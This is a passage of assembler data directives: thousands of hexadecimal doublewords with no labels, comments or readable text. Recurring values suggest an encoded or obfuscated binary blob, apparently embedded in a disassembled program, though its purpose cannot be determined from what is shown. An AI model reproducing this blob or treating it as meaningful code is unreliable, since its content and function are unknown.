42BD1A06h, 2D321566h, 113215EDh dd 0E9E5A366h, 4426FC06h, 24861566h, 33FE2C72h, 0B3E690CFh dd 0DCC2F4C7h, 0D3EA6FA9h, 90543781h, 0E96D348Eh, 695B905Dh dd 0A73D1361h, 113215F3h, 88389E69h, 41DB1566h, 54321566h dd 33BB2013h, 0A9BFA8E5h, 4B321361h, 223222E2h, 0DBED66h dd 49321566h, 88076316h, 0A9227CF8h, 0EBC9A4B9h, 0B3ADF14Dh dd 665FA8E5h, 2D321361h, 113241E2h, 883CFC66h, 4B9E1566h dd 0FF7EC1FEh, 58E9844Dh, 0E8415F81h, 744D90EBh, 9C521368h dd 4BD1BCE2h, 8832018Fh, 0B3DE1D66h, 0A1D69AF7h, 55ADFBAh dd 626DA9CDh, 0F29DAA7Bh, 47DB7427h, 0F8CDEA98h, 88321577h dd 2466831Ah, 0C41FB0CBh, 0EE7118E2h, 909D940Bh, 2DB72E24h dd 2D34124Bh, 0EECC56E2h, 35B1E999h, 423C6FA3h, 5CB71A67h dd 1E321566h, 883206ECh, 443CFC66h, 1AD91566h, 16183AFCh dd 455F862Ch, 0F85AB73Ah, 2232078Fh, 0C0637D66h, 93F3DC4Ch dd 457437A5h, 0ECE299E6h, 2A260C9Dh, 8648ECE3h, 6B71A60h dd 0CB321566h, 11321577h, 0CB261504h, 56FADE52h, 0E1C95D15h dd 3106AF24h, 6CB798C4h, 4B324C6Dh, 223219E3h, 17B51A66h dd 87321566h, 443215E3h, 0C9DBE966h, 0F8CDEA9Bh, 8832156Fh dd 0DC724B4Ch, 0B092F759h, 0EDCD246Ch, 948BA8E5h, 4B321361h dd 222331E2h, 1134FC66h, 29271566h, 0CC44F8DDh, 58D7905Dh dd 943D1368h, 88321541h, 0A8B2759Fh, 0FBB3737Ah, 9A53BAC1h dd 8F35E0E3h, 45BB1A60h, 0D7321566h, 0EECDAC37h, 471BEA99h dd 0FA54753Fh, 195305FBh, 1F48F8E3h, 0C0B71A60h, 4B321566h dd 223205EBh, 1139FC66h, 1C7B1566h, 0C610B32h, 2D87D43Dh dd 0A0B79E6Dh, 61341278h, 44321563h, 6FFF5129h, 0EE88476Dh dd 0A1CDEA99h, 0C63D4FB1h, 22321567h, 1DB81A9Eh, 87321566h dd 443213EEh, 22BA1A66h, 2A321566h, 8648FCE3h, 1CB71A60h dd 0CB321566h, 1132156Dh dd 0A8248B25h, 4C585C12h, 0A97E6437h, 16027CE3h, 9BB41A60h dd 0AD321566h, 22321568h, 12646FF3h, 0DA359787h, 959CCF76h dd 70CA568Fh, 113214DCh, 0D2E51466h, 442B9B69h, 36DB1566h dd 14321566h, 0F876811Fh, 57D10AD5h, 0A587DC60h, 209F216Bh dd 0B372E18Eh, 4A48E4E3h, 46B71A60h, 0F8321566h, 88321575h dd 0E909F50Fh, 9F104DF8h, 0B985E43h, 0ABE83AECh, 246FF6F7h dd 2232128Fh, 73F09866h, 84819A50h, 44349D69h, 0AA3D1566h dd 11321566h, 0CDB79E07h, 0AD341257h, 2232156Eh, 0A91C0520h dd 0A3568CDFh, 4433AB30h, 0D5331566h, 1123FC38h, 0E0CF1566h dd 0E6284767h, 6CA9BDE0h, 6CD7F0BBh, 0B30D5083h, 4A48E0E3h dd 1EB71A60h, 0E4321566h, 865790EDh, 0CD3D1361h, 22321578h dd 112A9569h, 9BDB1566h, 8B321566h, 58FC3486h, 8C9788B7h dd 4609BE77h, 3F7F288Ah, 0DD6520C6h, 2DB93162h, 8CF69642h dd 44339369h, 19CB1566h, 1F48ECE3h, 0BFB71A60h, 0BC321566h dd 3B79E9Ah, 1E341256h, 883209E9h, 52B11A66h, 0CB321566h dd 11321577h, 0ACEE9087h, 0FD3B3992h, 0D245097Eh, 0C0A11B38h dd 0B9F524F2h, 4F5249Eh, 0E9B875F1h, 94097493h, 8E3C6F9Bh dd 44199069h, 0DA521566h, 70C4AA69h, 819790EDh, 4EDB1361h dd 48321566h, 7AE4B0AAh, 0AC09FC5Fh, 0BB894643h, 0BCDEA99h dd 973D4EB9h, 88321567h, 45B72E93h, 2D341B1Dh, 113220E3h dd 0DB9ED66h, 42351A8Fh, 2EDA7506h, 23321566h, 0DEFE98AAh dd 0B8D67F9Bh, 7C69CB4Fh, 9A537406h, 3062749Eh, 0BBCDEA99h dd 0CB6AD24Fh, 11321560h, 0EB396625h, 0C10911CFh, 243C6E63h dd 117E9069h, 9521566h, 0BF71F18Dh, 3F7AE2Fh, 0F8534F09h dd 88321577h, 0C8900D69h, 0E2E3D21Ch, 0C5CAF7C1h, 5B1368Ah dd 0CDB79EEFh, 2D341267h, 113214E6h, 965ED66h, 0BBCD314Ah dd 2D6DEA99h, 113218E1h, 9547566h, 4B718B85h, 223215E0h dd 94097466h, 8E3C6E6Fh, 44629069h, 0CB521566h, 11321576h dd 0DF5BDA3Bh, 74D374C4h, 959BE129h, 323E9E59h, 0E9FBA269h dd 474790EDh, 44521361h, 9A54C6EDh, 31637498h, 44321567h dd 2D6BDA67h, 11320CE6h, 9BB21A66h, 0AD321566h, 22321568h dd 864A7832h, 9187B6B6h, 4F7CB418h, 0A709AADAh, 173C6E77h dd 88549069h, 4BC71566h, 223206EBh, 18DB7566h, 5321566h dd 2EFC8432h, 0AFBCC7F1h, 70FA9E00h, 984B90EDh, 0AD521361h dd 22321575h, 918F37Dh, 51DCD891h, 100C3F72h, 0DC3BFE6Eh dd 77A2BC81h, 0E987E1DFh, 0BFFAE35h, 0E1B37665h, 8DCEA552h dd 8769CA67h, 443214E1h, 0A63DEC66h, 1132156Ah, 88349469h dd 0C33D1566h, 22321566h, 6A3F905Dh, 0D3D1368h, 443215DBh dd 0AC8C7306h, 1122FDABh, 96B71566h, 78496C74h, 27F658BAh dd 871C93F6h, 80DB51E0h, 13321566h, 0CA73E2FAh, 49C8A542h dd 35B1ED07h, 423527B7h, 0A4B71A66h, 0F8321566h, 8832156Fh dd 81A506A4h, 718588BDh, 60B79EB5h, 6134126Fh, 44321574h dd 1F30E818h, 73077155h, 5723FCF9h, 3D5CFEC1h, 32DB4649h dd 0B8321566h, 0D109F94Ah, 9B3C474Bh, 57B5B87Ch, 423F706Ah dd 9F1782DDh, 82F9941Fh, 0A33CD93Eh, 0CA248F85h, 63F35E06h dd 15D99460h, 2333960Ah, 9B3D4EB9h, 88321547h, 4426FC06h dd 7A1F1566h, 18CD2A2Dh, 0F579F3FCh, 0FCD2651Dh, 0F3F25E0Dh dd 943DA04Dh, 88321566h, 258F9607h, 22341262h, 11689169h dd 0EE521566h, 0C562D3EDh, 717EC2B1h, 2A534C05h, 86498CE3h dd 5B71A60h, 42321566h, 1132058Eh, 0EE2B5866h, 7174CB7Ch dd 346278FAh, 0F3B5E94h, 3544AA8h, 0C1B974B9h, 24351257h dd 778C4393h, 9699422h, 1C1E6B80h, 20DCD417h, 0D034FBA7h dd 7EB31280h, 6CB21767h, 0D76CE267h, 1A33A8E5h, 87321361h dd 443052E2h, 2239FC66h, 2E0F1566h, 0C71EE717h, 6042EAD6h dd 138F965Eh, 1134126Eh, 8A189169h, 57DB1566h, 68321566h dd 0AED363B2h, 2BA5A425h, 0E7808394h, 3D0B4CB9h, 9409848Fh dd 8E3C6E1Bh, 44139069h, 0AF3D1566h, 11321567h, 7DB79E93h dd 24341274h, 138D99DFh, 0C8B97300h, 898F4007h, 45321566h dd 19CE4889h, 1F4998E3h, 0CAB71A60h, 0B1321566h, 130F90EDh dd 993D1361h, 8832157Ah, 443CFD06h, 0EAF11566h, 0AC26EF9Ch dd 936D66D1h, 0E3C86AD7h, 22B61A3Dh, 70321566h, 77CDAB30h dd 0B31BEA99h, 0F5B37538h, 27844EB8h, 88309969h, 66831566h dd 0A3B72E07h, 1E341B1Dh, 883243E3h, 443EFC66h, 8F9E1566h dd 545DB91Fh, 30560D17h, 0CD3D4B79h, 2232156Fh, 11BD1A06h dd 71321566h, 21B79E07h, 0DA341248h, 1133AB30h, 7F331566h dd 443DFC38h, 75101566h, 0FC99E653h, 1BC8300h, 5DF9E6B3h dd 2EB31A62h, 0F8321566h, 88321561h, 7B7A526Fh, 19E6B3B4h dd 1F4984E3h, 0BEB71A60h, 0AD321566h, 22321575h, 1CC00D59h dd 7E784517h, 0FA43467Bh, 9BA78BC6h, 9AE364FAh, 8F0380E3h dd 8BB5E960h, 0A533D4E5h, 18DB75A9h, 46321566h, 0B0C5EC81h dd 0EACFA977h, 84B72E07h, 87341B1Dh, 443254E3h, 0A7B9ED66h dd 173539C3h, 8820FD06h, 60D31566h, 0D70CB83Dh, 4249858h dd 0A45790D6h, 0E07A830Eh, 7D04CAE6h, 108B4407h, 89321566h dd 0C13D4CA9h, 22321568h, 11321C8Fh, 0F0DC3F66h, 8306FA78h dd 0A7098EDDh, 173C6EE3h, 887E9069h, 4ADB1566h, 62321566h dd 609962BBh, 0A45D28E0h, 0B3EE6BDCh, 9FB79E67h, 1E34126Bh dd 883219E1h, 42BD1A66h, 2D321566h, 113215EDh, 0BEA27D66h dd 78BB1566h, 636EA42h, 1122FC39h, 3E1E1566h, 2656DF56h dd 0EBB6771Eh, 9C1B584Dh, 0D099921h, 423C6EEFh, 22709069h dd 9E3D1566h, 88321567h, 81B79E93h, 0D7341264h, 11369669h dd 0D8521566h, 0FA64743Eh, 22321567h, 1E6CE267h, 88321BEBh dd 443BFC66h, 93A61566h, 5C5CA2E4h, 0E88557C8h, 0AEA4D6E7h dd 2D892FBEh, 70787B49h, 8003A8E5h, 4B321361h, 223811E2h dd 1DBE066h, 71321566h, 27607555h, 67C8C040h, 0DFF34778h dd 0B32669BCh, 4A4900E3h, 63B71A60h, 0F8321566h, 88321575h dd 7DA01C81h, 19FA1F84h, 45B73C93h, 0BA335D8Fh, 0CFCC0420h dd 252798E3h, 16BB1A60h, 87321566h, 443214EAh, 9B63E966h dd 11321567h, 616BDA67h, 4432156Eh, 57234A2Fh, 0F0C92390h dd 0F39B905Dh, 0C13D1368h, 22321540h, 0CBEE9506h, 3ABF1CDCh dd 0C1B9742Ah, 24353877h, 0EE89469Eh, 0A1CDEA99h, 0C53D4EB9h dd 22321560h, 0A63DE006h, 0D0974A6h, 423C6E7Fh, 220E9069h dd 1E521566h, 883217ECh, 4B537566h, 0A953EFD9h, 163BF8E3h dd 3361ED60h, 44321567h, 4269CA67h, 11269E69h, 87DB1566h dd 4C321566h, 4AB6B6B7h, 0F4C78A78h, 1A46262Bh, 0A0B21BD0h dd 0A70974F0h, 173C6E7Bh, 88189069h, 0CFCA1566h, 2535F0E3h dd 0A863ED60h, 77CDEA99h, 0AD6BDA4Fh, 22321572h, 9264EF4Ah dd 73D23CB0h, 9953131Dh, 469A3C88h, 0E1B5272Eh, 0F313905Dh dd 0C13D1368h, 2232155Ah, 8B79E9Eh, 61341267h, 44321576h dd 233D1E89h, 0F0468DC9h, 0D7A9622Bh, 0BC257215h, 0DDCDA833h dd 0FE1BEA99h, 8820FC3Bh, 0D2A71566h, 75679915h, 0DE4BDBD8h dd 0D3679D33h, 0FF308EFAh, 5917905Dh, 943D1368h, 883215EFh dd 4BDA4706h, 59321566h, 65D3E8F1h, 0FE2A56FEh, 50C2B86Bh dd 78699F15h, 0ACB1749Fh dd 8E3527B7h, 26B71A66h, 42321566h, 0F8E9A269h, 88321563h dd 0CDAB213Fh, 0A7B97498h, 17353537h, 882A9269h, 57DB1566h dd 0B5321566h, 90222A70h, 31D4ED12h, 0C3C969E9h, 21D437C5h dd 2DBAD97h, 0FB321566h, 7F6DC6A2h, 0B9ECFCE4h, 5724A972h dd 8236BA5Bh, 0FE60943Ch, 0DDCDEA99h, 0F868C24Fh, 8832156Fh dd 0C79A8B1Bh, 12464CA6h, 38B72E9Eh, 87341B1Dh, 44324DE3h dd 37B21A66h, 0F8321566h, 88321576h, 0E1447551h, 1C5D8A1Eh dd 0C3497221h, 0B7728ECCh, 40D390EDh, 2DDB1361h, 89321566h dd 6A16374Fh, 48801CA1h, 0F30296BEh, 0A863011Dh, 0B4977001h dd 5ECDCE7h, 0D3B3235Ah, 2131B17h, 8E51DCE7h, 0C5731463h dd 0BF5DE497h, 48FD144Bh, 0A5B72E9Fh, 4B341B1Dh, 22327AE3h dd 90647566h, 0F98A9EB1h, 0C7534A2Bh, 2500C4DBh, 943D1560h dd 8832153Eh, 4420FC9Fh, 10FB1566h, 0CB8062F8h, 6097EAEh dd 0D01F26F2h, 0EAE0148Eh, 3DBB90EDh, 0D8521361h, 0CF544D93h dd 9860749Eh, 3C5F2F6Dh, 0E0FAFFE7h, 0B6B3240Dh, 258A148Bh dd 9035FFA7h, 7F41B78Ch, 1EE53C67h, 0FD851A06h, 11321F8Fh dd 0BBD44766h, 730E9181h, 43DDA4CDh, 6A03905Dh, 0D3D1368h dd 443215F5h, 22359D69h, 1E521566h, 42B9EBD1h, 50B71A07h dd 42321566h, 1ADB4B35h, 5C321566h, 5C13D714h, 94D25B52h dd 9A53122Ah, 8F2934E3h, 59BC1A60h, 42321566h, 5DBDEEDh dd 3D321566h, 8258D29Bh, 8A8A12AEh, 7659510Bh, 212F51F9h dd 256B1628h, 22321C8Fh, 29F38166h, 37C3406h, 0F967B4EBh dd 406F01EDh, 12DFD42Bh, 0E7F7942Bh, 6DC1A13Bh, 0AA3D4889h dd 1132157Dh, 8826FC06h, 0E5081566h, 1A9E41D4h, 89B0CD43h dd 0B62D4D77h, 0DD9CC711h, 1953EC15h, 1F4920E3h, 0CDB71A60h dd 24321566h, 0E8851A37h, 70F19E3Fh, 0BA0790EDh, 0C13D1361h dd 2232157Ch, 11269069h, 87DB1566h, 1B321566h, 0F948ED4Eh dd 64EF8B7Eh, 0D8EEC2Ch, 0F967C7EFh, 22321567h, 0F86FFA67h dd 8832156Eh, 952211Ch, 0DA564DE6h, 6A0F905Dh, 0D3D1368h dd 4432150Dh, 0E7E69506h, 95E39400h, 35B174FCh, 423527B7h dd 76B71A66h, 71321566h, 8832188Fh, 0BC2EDE66h, 524A5598h dd 91C972A1h, 375433A0h, 0CF53043Dh, 2532A4E3h, 10B51A60h dd 7D321566h, 4432058Fh, 0E272F66h, 782282DEh, 7D9E2AE4h dd 75080A92h, 0DD8B4479h, 38CDEA99h, 53D4CA9h, 4432156Dh dd 96FA9406h, 1E640150h, 0B353D6D1h, 4A492CE3h, 4FB71A60h dd 71321566h, 88249A69h, 55DB1566h, 0CB321566h, 584E50B6h dd 0B186ED24h, 0A65E3ACAh, 8F60A799h, 0ACB1749Fh, 8E3527B7h dd 5B71A66h, 0CB321566h, 11321575h, 0F327EE9h, 0E9A90808h dd 0B89F818h, 0DAEE07B5h, 37F79F6h, 4339B4E3h, 9F67ED60h dd 0EECDEA99h, 876FFA4Fh, 443206E5h, 223CFC66h, 96BF1566h dd 73262DF3h, 7A4B3A59h, 24B9FCCFh, 6A73905Dh, 0D3D1368h dd 44321540h, 63B79E9Ah, 1E341247h, 88321DE7h, 46B61A66h dd 42321566h, 50FD9207h, 7103DA57h, 0CF52DA57h, 0A98D73A7h dd 9409741Bh, 8E3C6E23h, 442D9069h, 2D521566h, 113217ECh dd 0EE537566h, 2558F3DDh, 31390EDh, 43CA1361h, 883214DCh dd 1EE51466h, 6BB72E9Ah, 1E341B1Dh, 88323FE3h, 0C1B9E966h dd 24351DCBh, 11321F8Fh, 0FE5B6966h, 116B064Ah, 0CB644C14h dd 11321563h, 0A70294D2h, 0BB884786h, 0BCDEA99h, 2AC74FB1h dd 864958E3h, 78B71A60h, 2D321566h, 113211E5h, 0E9527566h dd 0ADB79E07h, 2D341275h, 11321FECh, 8837FC66h, 113B1566h dd 73A44D44h, 0EECDEADFh, 0D1FD3C99h, 44321B8Fh, 1943B366h dd 0D01A5B0Ah, 0A88A5A22h, 7FAA2BE0h, 2C4944E3h, 31B71A60h dd 70321566h, 64F390EDh, 0DE521361h, 11349E69h, 43D1566h dd 44321566h, 0DD8C4307h, 38CDEA99h, 0B3C74B91h, 4A4940E3h dd 7BB71A60h, 0F8321566h, 88321577h, 37F606AFh, 19300EDCh dd 92C7A061h, 0D3D17259h, 0ADCE7574h, 2232156Bh, 0F2C7007Bh dd 3C793A47h, 15B32284h, 0A7B9742Eh, 173524FBh, 882A9969h dd 0C43D1566h, 22321574h, 1132188Fh, 381A1266h, 18721758h dd 39D1B281h, 0AF64B4D3h, 88321567h, 0B16CE267h, 596B905Dh dd 943D1368h, 88321552h, 0C4537506h, 0A953BCA8h, 161264E3h dd 3F3D7560h, 4435FCBFh, 0B90A1566h, 0C7689498h, 35677414h dd 0BBCDEA99h, 0CB6FFA4Fh, 1132156Eh, 5F15A7B4h, 3AA1B808h dd 596F905Dh, 943D1368h, 8832153Eh, 44399B69h, 24DB1566h dd 47321566h, 99B0467Eh, 0CA3D7544h, 2232157Eh, 1132068Fh dd 953DC266h, 0ABDE5594h, 0B4914E14h, 0B1F8B147h, 237C94CCh dd 0CF53CFEDh, 252EF4E3h, 113DFC60h, 0FCA31566h, 0E53F372Eh dd 11524F65h, 33BC745Fh, 6703E0C5h, 0AB03E857h, 0DBDD9223h dd 0E73905Dh, 0D3D1361h, 44321548h, 223AFC06h, 0DF911566h dd 0CD3020E2h, 568A5EB0h, 431DE8F3h, 0CD790EDh, 53D1361h dd 44321563h, 0E8B97306h, 46728207h, 0E86A4A36h, 0C109749Fh dd 243C6E07h, 117B9069h, 3CA1566h, 431478E3h, 223FFC60h dd 17B51566h, 0E8C8BBD3h, 0F51756F5h, 70ACA6A7h, 113214DCh dd 0D2E51466h, 44139E69h, 44521566h, 0BC85D7E7h, 8832018Eh dd 2C47DE66h, 8D8C532Fh, 8F417D19h, 93C3B1A0h, 64B351B5h dd 19534CCFh, 1F4988E3h, 0DB71A60h, 0AD321566h, 22321561h dd 11AC7019h, 0B782A16h, 4A49B0DBh, 0A73D1560h, 11321554h dd 883A9E69h, 0C93D1566h, 22321564h, 0ACB17406h, 8E353387h dd 15B61A66h, 0CB321566h, 11321574h, 0E639A51Dh, 76CC4F3Fh dd 9976284Bh, 73BE5F80h, 0DB968F6h, 42353FB3h, 0FC8D1A06h dd 108F4007h, 89321566h, 49DB4889h, 73321566h, 0B11AC277h dd 0F86522BEh, 0E9662C2Ah, 223EFC06h, 0F5A81566h, 0F42B068Ah dd 0CB0D0EBBh, 43CB4F44h, 6A93905Dh, 0D3D1368h, 44321504h dd 22389A69h, 0A8521566h, 824F91B7h, 2552DDE6h, 5997A8E5h dd 1E321368h, 883226E3h, 0A4B37566h, 34E82CD5h, 9253F7ECh dd 8F14F4DBh, 0C03D1560h, 22321548h, 0F8A4A506h, 88321575h dd 0F188D8EDh, 9383604Ch, 0B1043853h, 0F48F3600h, 25440B67h dd 227B90EDh, 47CE1361h, 883214D8h, 1AC51466h, 0A709E99Ah dd 173C6E03h, 881D9069h, 0C03D1566h, 2232157Eh, 1132068Fh dd 6D83366h, 71DFCF3h, 4BC69A47h, 7F7FBB78h, 5B3C8BCDh dd 746F90EDh, 70CB1361h, 0EECDEADCh, 0D2E53C99h, 2DB72E93h dd 2D341B1Dh, 113259E3h, 883BFC66h, 59981566h, 0D69C5299h dd 9A1D4318h, 8F1E40E3h, 0C03D7560h, 22321565h, 0F8FDF9E6h dd 8832156Eh, 61FDC48h, 11393612h, 0EE8F4007h, 0A1CDEA99h dd 56DB4889h, 15321566h, 0D590B534h, 5180F1C6h, 0ADCA9826h dd 0D72F2DD2h, 7CB72E3Dh, 87341B1Dh, 44320FE3h, 44CB7566h dd 2331D2E7h, 0DB9E907h, 42350B2Bh, 0DD8F409Eh, 38CDEA99h dd 0B3CE4889h, 4A4964E3h, 78B71A60h, 0E8321566h, 9EC390EDh dd 0CD3D1361h, 2232156Ch, 1132108Fh, 0B3782A66h, 2452FBE9h dd 0A03DCCEDh, 11321566h, 9BDB7507h, 57321566h, 0D6F57285h dd 0B09FF1C7h, 0E84E7345h, 41E57163h, 4353AAA7h, 1133AF34h dd 5F331566h, 48DB753Ch, 5321566h, 67CCA324h, 0F4859FDh dd 0BDAAEA2Eh, 57B72E07h, 1E341B1Dh, 883257E3h, 0C1B9E066h dd 24353A93h, 11321D8Fh dd 0F354FD66h, 0DF2870E5h, 238F40F6h, 10321566h, 84DB4889h dd 0F1321566h, 0D73E70C3h, 7970CC32h, 61FA1A3Ah, 44321569h dd 6179C9F4h, 304AE23Bh, 97E3D950h, 7F99DF57h, 2C496CE3h dd 2FB71A60h, 71321566h, 51BF90EDh, 2D521361h, 113213E6h dd 88B61A66h, 0BC321566h, 0A3C59207h, 0EECDEA88h, 87C59299h dd 443201E0h, 223DFC66h, 0AD941566h, 9766766Eh, 1233913Ch dd 5D1488BEh, 0C282757Fh, 87CD1E07h, 443203E2h, 9D3D7566h dd 1134FC97h, 6B91566h, 18E2CC2h, 0CEBEFC07h, 2ACBEA99h dd 8F340CE3h, 35B71A60h, 42321566h, 8CF19400h, 3F3D75A4h dd 44BE1A90h, 43321566h, 113CFC07h, 75381566h, 17676550h dd 0B1D54DAFh, 0FB3A581Eh, 0AA1590EBh, 4FDB1368h, 0C6321566h dd 0A387A72Eh, 913CD166h, 0AD529047h, 22321575h, 2F6210E2h dd 18EA6644h, 28825315h, 9217350Bh, 90950593h, 5D120AAEh dd 5BDB7425h, 2DCDEA8Ah, 11321EE3h, 4C887566h, 227E6014h dd 43F688D8h, 0BD7905Dh, 0D3D1361h, 443215E7h, 2232108Fh dd 77163366h, 35B10399h, 423C6FA3h, 48B71A67h, 1E321566h dd 88321FECh, 83B87566h, 22329069h, 1E531566h, 88321EE2h dd 0CF547566h, 22B61AB8h, 70321566h, 835590EBh, 0C93D153Fh dd 22321574h, 1132188Fh, 37897E66h, 0EF80BB5Bh, 0D13478C4h dd 0B6DBE554h, 74CDEA8Dh, 71DC9506h, 22BF1A06h, 0F9321566h dd 88321574h, 246F17BBh, 848A4BAh, 1D8CB0C2h, 32F4A902h dd 256ACE96h, 0F7B72E07h, 1E341B1Ch, 883203E2h, 0C109E966h dd 243C6FBFh, 113D9069h, 3521566h, 5A91ADB7h, 0CB534742h dd 0EECDFE3Ch, 88327D9Eh, 70B91566h, 26F69442h, 0F8321566h dd 8832156Dh, 225EE68Eh, 0F595CE91h, 92507688h, 0D3D1498h dd 44321586h, 0E4B97306h, 9409ED07h, 8E3C6FAFh, 440D9069h dd 0CB521566h, 11321575h, 4B9B9D9Fh, 0A970694Eh, 1785FAF1h dd 0E1693C35h, 0E82CCA54h, 6D78AB00h, 4395F1E6h, 0D5B79807h dd 0E8324DE1h, 44BF1A06h, 44321566h, 9153C2EDh, 6153C397h dd 0BBCDFF84h, 0EFB72E9Ah, 1E341B1Ch, 883250E3h, 4439FC66h dd 48EC1566h, 0A1EA8621h, 2CFC96E8h, 7EB7981Fh, 0CB324DEEh dd 1132156Dh, 989DDC36h, 0B0AB3C37h, 0CB2E6A65h, 0EECDFFCCh dd 88269A69h, 0C13D1566h, 22321568h, 11321C8Fh, 0D14D7366h dd 0A823D1FFh, 0A70986C8h, 173C6FB7h, 88009069h, 0F5521566h dd 0CAB373F5h, 9C53D978h, 0D0BA6AE3h, 45B81A66h, 0DA321566h dd 0EED87C8Fh, 8820FC99h, 6E2C1566h, 234B2D46h, 0CE695B97h dd 0BC530A67h, 973D9887h, 2236F9E7h, 15BB1566h, 8524D42h dd 13531B94h, 8F420B0Eh, 0F6B34A2Fh, 0B5C660CEh, 0C5E5E221h dd 79BDE189h, 4ECC9C90h, 87C41E93h, 44323FE3h, 2CBB1A66h dd 71321566h, 88329469h, 82B31566h, 69990E15h, 0F8D0FC07h dd 53DEA99h, 4432156Dh, 2232138Fh, 3C07A466h, 0D854B550h dd 0D1639E7h, 0A9098159h, 0D5B33152h, 88321562h, 7B7BD3E7h dd 2EDB2EF2h, 96321566h, 1833A309h, 0C5EF4764h, 0AB68B6D9h dd 16278CD3h, 883DFC60h, 0D0301566h, 0E30459F1h, 3A0B182Ch dd 1C2E52FBh, 39879CBFh, 2D34124Dh, 11320FE5h, 0D1647566h dd 4432048Fh, 0ADEFDD66h, 1A2D9EB6h, 47AF7639h, 7A2DDCFh dd 0A253F936h, 943DFC58h, 8832158Ch, 7BE49506h, 22321A8Fh dd 9A6C6266h, 0C189589Bh, 0E37F04E1h, 9B71124Fh, 1044EA07h dd 0DFF7AD36h, 330E53h, 7D6A1142h, 46F7FAE7h, 9CB0E53h dd 7D3BF089h, 6ADD942Ch, 10606D1Ch, 0C0F59491h, 0C5606D1Ch dd 1B3BF0A1h, 10BC1A2Ch, 7D321566h, 4436F9E7h, 16BB1566h dd 0F9524E42h, 8832156Eh, 0D096AEF4h, 6B67D367h, 436C7406h dd 88329469h, 256A1566h, 0B78C4331h, 981E623Dh, 6FB34B91h dd 7EA2627Ah, 0CEDED2E7h, 0EA33C289h, 90B71A39h, 24321566h dd 2232198Fh, 17B42D66h, 0C11E21E0h, 4DAA1F74h, 8AA5ACDBh dd 2A537110h, 8F278CDBh, 58B01A60h, 0DB321566h, 1EC92E9Ah dd 88323CE0h, 48B31A66h, 2D321566h, 113213E6h, 88BF1A66h dd 0AD321566h, 0DDCDFDEEh, 1132188Fh, 0B8CEE866h, 7DE6E636h dd 0A1147C6Ah, 0ACB9C900h, 8E350AD3h, 443F9169h, 2ADB1566h dd 0B6321566h, 0A1FEBBC9h, 835667A8h, 253204E3h, 11321560h dd 8837FC66h, 0B811566h, 424C8F57h, 0AF547506h, 66B2A2D0h dd 56DB7472h, 0CA321566h, 5EAD8DC6h, 169CC40Bh, 0A753C1FDh dd 622A080Bh, 0A4BB74F4h, 8E353E1Bh, 1AAF989Eh, 0D7341A65h dd 0DBC699h, 1321566h, 0FFEB5AADh, 0BCF8D703h, 503B3179h dd 69B7B1ECh, 0C03DD56Dh, 2232157Dh, 11B2FC9Eh, 98DB1566h dd 2F321566h, 0AA59221Ah, 0EB182D7Dh, 0BCEEE0C2h, 0C9C51CD4h dd 2EB8F8FBh, 51857560h, 0E9F8AA69h, 0C73DC699h, 0DDCDEAC4h dd 11359D69h, 0D3D1566h, 44321567h, 0A354759Ah, 7753E394h dd 0E9B532D9h, 6F4FA0EDh, 2D521361h, 113213E0h, 8EE29466h dd 0BD2A6690h, 33879C07h, 71341266h, 67B3EBECh, 721C5194h dd 56AF9807h, 0ED3418E9h, 53DC699h, 4432156Ch, 0DC8D1A06h dd 45475CDDh, 0DB97456h, 423500FFh, 0C5E39506h, 11321D8Fh dd 40811E66h, 0B6DD79ACh, 0A7BB746Ch, 17353E1Bh, 8832068Fh dd 0FE730C66h, 1E9C8A57h, 7A91CB67h, 0ABEB3232h, 0E298CA38h dd 2221FC06h, 8D121566h, 2B47108h, 51F8D6A5h, 51162C1Ah dd 0C79C4C7Ch, 558C7308h, 0B853746Eh, 2DDA2BE6h, 11334FE3h dd 8822FC66h, 0D43F1566h, 5E6C3B38h, 930352DEh, 0EDF7B451h dd 0F9B1C50Ah, 24351DD3h, 29B61A66h, 0E8321567h, 4432198Eh dd 4051FB66h, 2845BEABh, 533F197Bh, 443DFCA3h, 0C8C61566h dd 0CB146B22h, 0D1006702h, 53C85AF0h, 36DB4E73h, 6D321566h dd 0AA91929Dh, 0FCC31680h, 0EDF78684h, 9C5D5107h, 0E90223DBh dd 0BA66A437h, 55D395A7h, 91A3F4E6h, 40BACDA7h, 0C71619EDh dd 32DB11A2h, 89321566h, 73C83E36h, 87B9C1F3h, 21F0E134h dd 0BB55314Bh, 0E9527506h, 4432198Fh, 0AC9D9266h, 2298AFA6h dd 0FB42910Dh, 0CA3D74C0h, 22321564h, 47537406h, 0F379AF34h dd 103362D7h, 7A681142h, 0A0495E4Bh, 9CB41A11h, 0AD321566h dd 22321569h, 96B68515h, 0EA0D0D84h, 0E408D9F7h, 748C779Ch dd 0E4FB0D8h, 9ECE255h, 11640E88h, 21D4D468h, 0FFB3F3B7h dd 0CDEC7F96h, 44DDD3E7h, 0D233945Bh, 3CCA3C38h, 0AC234C99h dd 0F967469Fh, 5FE552D4h, 398A47DDh, 0D5D914E4h, 0BD69CD4Fh dd 22259169h, 3DB1566h, 16321566h, 8DA23B1Eh, 5D857C89h dd 153C5CC6h, 0AB84645Dh, 4EDBBEABh, 89321566h, 82A2ADF9h dd 0EA704E15h, 465BFCD0h, 2EDB1566h, 53321566h, 3932F090h dd 9ED65D30h, 0AFC9DD2Ch, 1FD5A9FBh, 89B81A60h, 0B8321566h dd 2FDBC699h, 2321566h, 762B2063h, 0C5AA0711h, 0B083114Ah dd 0C3AF989Fh, 0E8341B9Bh, 4432188Fh, 0A162F566h, 0B09BF38Eh dd 3A65ECE1h, 2262B81Ch, 436DCAEDh, 11321D8Fh, 678B1366h dd 0F50BC3Fh, 0DAE1EAFFh, 1132018Fh, 0A669DA66h, 0FA755F7h dd 15E7405Ch, 3373E4ACh, 97AD3D6Ah, 4BF21E59h, 22320EE3h dd 1139FC66h, 0F0CA1566h, 0DB3BBF9Eh, 1FC93750h, 1128FC54h dd 0EE521566h, 25CAD2EDh, 94F90E5h, 0E4371361h, 77CC168Fh dd 45B21A99h, 0DB321566h, 116488EBh, 9BDB1369h, 89321566h dd 36B4F319h, 191E8DFh dd 0C9EF87C3h, 60912470h, 0F1CD81EBh, 1132188Fh, 95252766h dd 0D9D6842Ch, 1FBCBCh, 1ACA32E6h, 0B0B71AA6h, 4B321566h dd 223206E2h, 113CFC66h, 9DCA1566h, 3947DB84h, 4EE3AE93h dd 8F14EFFAh, 88327C8Fh, 50BB1A66h, 0CB321566h, 11321569h dd 369CA46Eh, 269AF221h, 0BC894932h, 462CE078h, 883211D9h dd 2F09466h, 230BBE2Eh, 57D8949Ch, 0D70BBE2Eh, 44321F8Fh dd 19A7A566h, 6C3D2266h, 874BAAF1h, 44321DECh, 20B71A66h dd 71321566h, 893FFC07h, 